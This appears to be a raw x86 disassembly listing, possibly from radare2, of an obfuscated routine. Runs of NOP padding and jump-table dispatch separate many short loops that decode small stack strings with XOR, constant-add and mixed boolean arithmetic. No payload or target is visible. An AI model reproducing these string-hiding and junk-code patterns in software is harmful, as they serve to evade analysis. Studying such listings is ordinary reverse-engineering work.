mov eax, dword [esp]
cmp eax, 5
ja 0x410524
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x2ab3a0cb
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x9b
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x4104f0
push ebx
push esi
call fcn.004037e0
add esp, 8
mov dword [esp + 0x24], eax
mov word [esp + 0x48], 0x22b4
lea eax, [esp + 0x4b]
mov word [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x4105a1
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + ecx]
add edx, 0xa09aad95
add eax, 0xa09aad95
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0xb0], edx
mov eax, dword [esp + 0xb0]
add al, 0x4c
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x410560
push ebx
push esi
call fcn.00403a40
add esp, 8
mov dword [esp + 0x20], eax
mov word [esp + 0x48], 0x8419
lea eax, [esp + 0x4b]
mov byte [eax + 1], 0
mov word [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x410614
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x82fe44f3
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x90
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x4105e0
push ebx
push esi
call fcn.004037e0
add esp, 8
mov dword [esp + 0x1c], eax
mov word [esp + 0x48], 0x2a5
mov dword [esp + 0x4a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x410674
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x51a4121
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xe0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x410640
push ebx
push esi
call fcn.00403910
add esp, 8
mov word [esp + 0x48], 0x5fa1
mov byte [esp + 0x4a], 0xc9
mov word [esp + 0x4b], 0
fnstcw word [esp + 0x104]
movzx eax, word [esp + 0x104]
or eax, 0xc00
mov word [esp + 0x11c], ax
fldcw word [esp + 0x11c]
fistp dword [esp + 0x134]
fldcw word [esp + 0x104]
mov eax, dword [esp + 0x134]
mov dword [esp + 0x44], eax
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x410721
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + ecx]
add edx, 0x9dfbebd8
add eax, 0x9dfbebd8
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0xb0], edx
mov eax, dword [esp + 0xb0]
add al, 0xed
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x4106e0
push ebx
push esi
call fcn.00403910
add esp, 8
mov word [esp + 0x48], 0xf9f6
mov byte [esp + 0x4a], 0xa
lea eax, [esp + 0x4b]
mov byte [eax + 2], 0
mov word [eax], 0
fnstcw word [esp + 0x102]
movzx eax, word [esp + 0x102]
or eax, 0xc00
mov word [esp + 0x11a], ax
fldcw word [esp + 0x11a]
fistp dword [esp + 0x130]
fldcw word [esp + 0x102]
mov eax, dword [esp + 0x130]
mov dword [esp + 0x110], eax
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x4107d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x77102542
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xb2
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x4107a0
push ebx
push esi
call fcn.00403b70
add esp, 8
mov dword [esp + 0x10c], eax
xor eax, eax
mov edx, dword [esp + 0x24]
nop
nop
nop
nop
nop
cmp byte [edx + eax], 0
lea eax, [eax + 1]
jne 0x4107f0
mov dword [esp + 0x28], edi
lea ecx, [edx + eax]
dec ecx
add eax, edx
neg eax
and eax, edx
mov edi, edx
not edi
and edi, ecx
sub edi, eax
mov esi, edx
add esi, edi
xor ebx, ebx
mov dword [esp + 0x2c], edi
test edi, edi
jle 0x410857
cmp byte [edx], 0
je 0x410857
xor ebx, ebx
mov edi, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push esi
push edi
call fcn.0040db90
add esp, 0xc
lea ecx, [edi + eax]
inc ebx
cmp ecx, esi
jae 0x410857
cmp byte [edi + eax], 0
mov edi, ecx
jne 0x410830
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x410865
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + ebx*2]
mov edi, eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x10], ecx
cmp eax, ecx
mov ecx, dword [esp + 0x24]
jae 0x410e42
mov edi, dword [esp + 0x40]
cmp dword [esp + 0x2c], 0
jle 0x410e42
mov edi, dword [esp + 0x40]
mov dword [esp + 0x14], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ecx], 0
je 0x410e42
lea eax, [esp + 0x48]
push eax
push esi
push ecx
mov ebx, esi
mov esi, ecx
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x10]
jae 0x410e3e
add esi, eax
cmp esi, ebx
mov ecx, esi
mov esi, ebx
mov ebx, dword [esp + 0x14]
jb 0x4108b0
jmp 0x410e42
mov dword [esp + 0x114], 0x71eb99
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 3
ja 0x410949
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx + 0x114]
add eax, 0xca84a4a6
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x27
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0x114], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 4
jb case.default.0x410963
push 3
lea eax, [esp + 0x118]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x4442ec]
mov dword [esp + 0x28], edi
mov word [esp + 0x48], 0x3296
lea eax, [esp + 0x4b]
mov word [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x4109d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x3099a11
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xe0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x4109a0
push ebx
push esi
call fcn.004037e0
add esp, 8
mov edi, eax
mov word [esp + 0x48], 0x5fae
lea eax, [esp + 0x4b]
mov word [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x410a44
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x47addc96
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x38
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x410a10
push ebx
push esi
call fcn.004037e0
add esp, 8
mov dword [esp + 0x20], eax
mov word [esp + 0x48], 0x903e
lea eax, [esp + 0x4b]
mov byte [eax + 1], 0
mov word [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x410ab4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x13e738b1
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xde
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x410a80
push ebx
push esi
call fcn.00403a40
add esp, 8
mov dword [esp + 0x2c], eax
mov word [esp + 0x48], 0xb2cd
lea eax, [esp + 0x4b]
mov word [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x410b24
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x1f198bb0
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xfd
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x410af0
push ebx
push esi
call fcn.004037e0
add esp, 8
mov dword [esp + 0x1c], eax
mov word [esp + 0x48], 0x2883
lea eax, [esp + 0x4b]
mov byte [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x410b94
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x80ce32d7
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x10
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x410b60
push ebx
push esi
call fcn.00403910
add esp, 8
mov word [esp + 0x48], 0x514f
mov byte [esp + 0x4a], 0xe3
lea eax, [esp + 0x4b]
mov byte [eax + 2], 0
mov word [eax], 0
fnstcw word [esp + 0x108]
movzx eax, word [esp + 0x108]
or eax, 0xc00
mov word [esp + 0x120], ax
fldcw word [esp + 0x120]
fistp dword [esp + 0x12c]
fldcw word [esp + 0x108]
mov eax, dword [esp + 0x12c]
mov dword [esp + 0x44], eax
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x410c4d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + 0x45]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0x2638f345
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x5c
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x410c10
push ebx
push esi
call fcn.00403910
add esp, 8
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + eax], 0
lea eax, [eax + 1]
jne 0x410c60
fnstcw word [esp + 0x106]
movzx ecx, word [esp + 0x106]
or ecx, 0xc00
mov word [esp + 0x11e], cx
fldcw word [esp + 0x11e]
fistp dword [esp + 0x128]
fldcw word [esp + 0x106]
mov ecx, dword [esp + 0x128]
mov dword [esp + 0x110], ecx
lea ecx, [edi + eax]
dec ecx
add eax, edi
neg eax
and eax, edi
mov esi, edi
not esi
and esi, ecx
sub esi, eax
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x410cc9
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
lea edx, [eax + esi*2]
add edx, 2
test edi, edi
jne 0x410cec
mov ecx, 0xffffffff
lea esi, [ecx + 1]
cmp byte [ecx + 1], 0
mov ecx, esi
jne 0x410ce1
mov dword [esp + 0x48], 0
add edx, 0xfffffffe
mov ebx, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
cmp eax, edx
jae 0x410d42
mov ebx, dword [esp + 0x14]
test esi, esi
jle 0x410d42
mov eax, edi
add eax, esi
mov esi, eax
mov ebx, dword [esp + 0x14]
cmp byte [edi], 0
je 0x410d42
lea eax, [esp + 0x48]
push eax
push esi
push edi
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0x10]
jae 0x410d42
add edi, eax
cmp edi, esi
jb 0x410d17
mov word [ebx], 0
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb8], 0
lea ecx, [esp + 0xb0]
mov esi, dword [esp + 0x14]
push esi
call fcn.0043a830
jmp dword [0x444304]
mov ebx, dword [esp + 0x14]
mov word [edi], 0
mov eax, esp
push eax
push 0
push 0
push ebx
mov edi, dword [esp + 0x50]
push edi
push 0
call dword [0x449968]
mov esi, dword [esp]
lea eax, [esi + esi]
test esi, esi
jns 0x410e6b
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov ecx, eax
mov eax, esp
push eax
push esi
mov dword [esp + 0x34], ecx
push ecx
push ebx
push edi
push 0
call dword [0x449968]
jmp dword [0x444284]
push edi
call fcn.0040a310
add esp, 4
mov edx, dword [esp + 0x1c]
mov ecx, edx
jmp 0x41186a
mov edx, dword [esp + 0x1c]
mov eax, edx
jmp 0x411862
mov ebx, dword [esp + 0x1c]
inc ebx
mov esi, dword [esp + 0x20]
push esi
call fcn.00403f90
add esp, 4
xor ecx, ecx
cmp ebx, eax
setb cl
jmp dword [ecx*4 + 0x44428c]
mov dword [esp + 0x1c], ebx
push ebx
push esi
call fcn.00403f70
add esp, 8
push eax
call fcn.004038f0
add esp, 4
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44429c]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne 0x410f80
mov ecx, eax
not ecx
and ecx, esi
mov edi, esi
not edi
and edi, eax
sub edi, ecx
mov eax, edi
inc eax
lea eax, [edi + edi + 2]
jns 0x410fa4
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov dword [esp + 0x14], eax
lea ecx, [eax + edi*2]
add ecx, 2
test esi, esi
jne 0x410fcb
mov eax, 0xffffffff
lea edi, [eax + 1]
cmp byte [eax + 1], 0
mov eax, edi
jne 0x410fc0
mov dword [esp + 0xb0], 0
add ecx, 0xfffffffe
mov eax, dword [esp + 0x14]
mov ebx, eax
mov dword [esp + 0x10], ecx
cmp eax, ecx
jae 0x411040
mov ebx, dword [esp + 0x14]
test edi, edi
jle 0x411040
mov eax, esi
add eax, edi
mov edi, eax
mov ebx, dword [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x411040
lea eax, [esp + 0xb0]
push eax
push edi
push esi
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0xb0]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0x10]
jae 0x411040
add esi, eax
cmp esi, edi
jb 0x411000
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
cmp dword [esp + 0x10c], 0
setg al
mov word [ebx], 0
push 0
push eax
push dword [esp + 0x4c]
push dword [esp + 0x11c]
mov esi, dword [esp + 0x24]
push esi
push dword [esp + 0x40]
push dword [esp + 0x3c]
lea ebx, [esp + 0x64]
push ebx
call fcn.0041a3f0
add esp, 0x20
mov edi, dword [esp + 0x28]
jmp dword [0x4442a4]
push esi
call fcn.0040a310
add esp, 4
jmp case.0x40e9ec.49
jmp dword [0x444294]
push dword [esp + 0x24]
call fcn.0040a310
add esp, 4
lea ebx, [esp + 0x48]
jmp dword [0x4442ac]
lea ebx, [esp + 0x48]
jmp dword [0x4442ac]
push dword [esp + 0x2c]
call fcn.0040a310
add esp, 4
jmp dword [0x4442b4]
mov ecx, ebx
call fcn.0040b2c0
mov ecx, ebx
call fcn.0040aa70
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
call fcn.0040b2c0
mov ecx, ebx
call fcn.0040aa70
jmp dword [0x4442bc]
xor ebx, ebx
mov dword [esp + 0x14], edi
test edi, edi
jle 0x411427
cmp byte [edx], 0
je 0x411427
xor ebx, ebx
mov edi, dword [esp + 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push esi
push edi
call fcn.0040db90
add esp, 0xc
lea ecx, [edi + eax]
inc ebx
cmp ecx, esi
jae 0x411427
cmp byte [edi + eax], 0
mov edi, ecx
jne 0x411400
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x411435
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + ebx*2]
mov ebx, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x10], ecx
cmp eax, ecx
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
jae 0x41149b
mov ebx, dword [esp + 0x24]
test eax, eax
jle 0x41149b
mov ebx, dword [esp + 0x24]
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x41149b
lea eax, [esp + 0x48]
push eax
push esi
push edi
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0x10]
jae 0x41149b
add edi, eax
cmp edi, esi
jb 0x411470
mov word [ebx], 0
lea ecx, [esp + 0x48]
push 1
call fcn.0040aa30
xor ebx, ebx
mov edi, dword [esp + 0x28]
jmp 0x410f35
mov dword [edx], 0
mov dword [edx + 4], 0
mov dword [edx + 8], 0
jmp dword [0x444460]
mov dword [edx], 0
mov dword [edx + 4], 0
mov dword [edx + 8], 0
jmp case.0x4103d3.4
jmp dword [0x444474]
lea ecx, [eax + 1]
cmp byte [eax], 0
je 0x41186e
mov eax, ecx
jmp 0x411862
mov ecx, eax
not ecx
and ecx, edx
mov edi, edx
not edi
and edi, eax
sub edi, ecx
mov esi, edx
add esi, edi
jmp 0x4113e0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret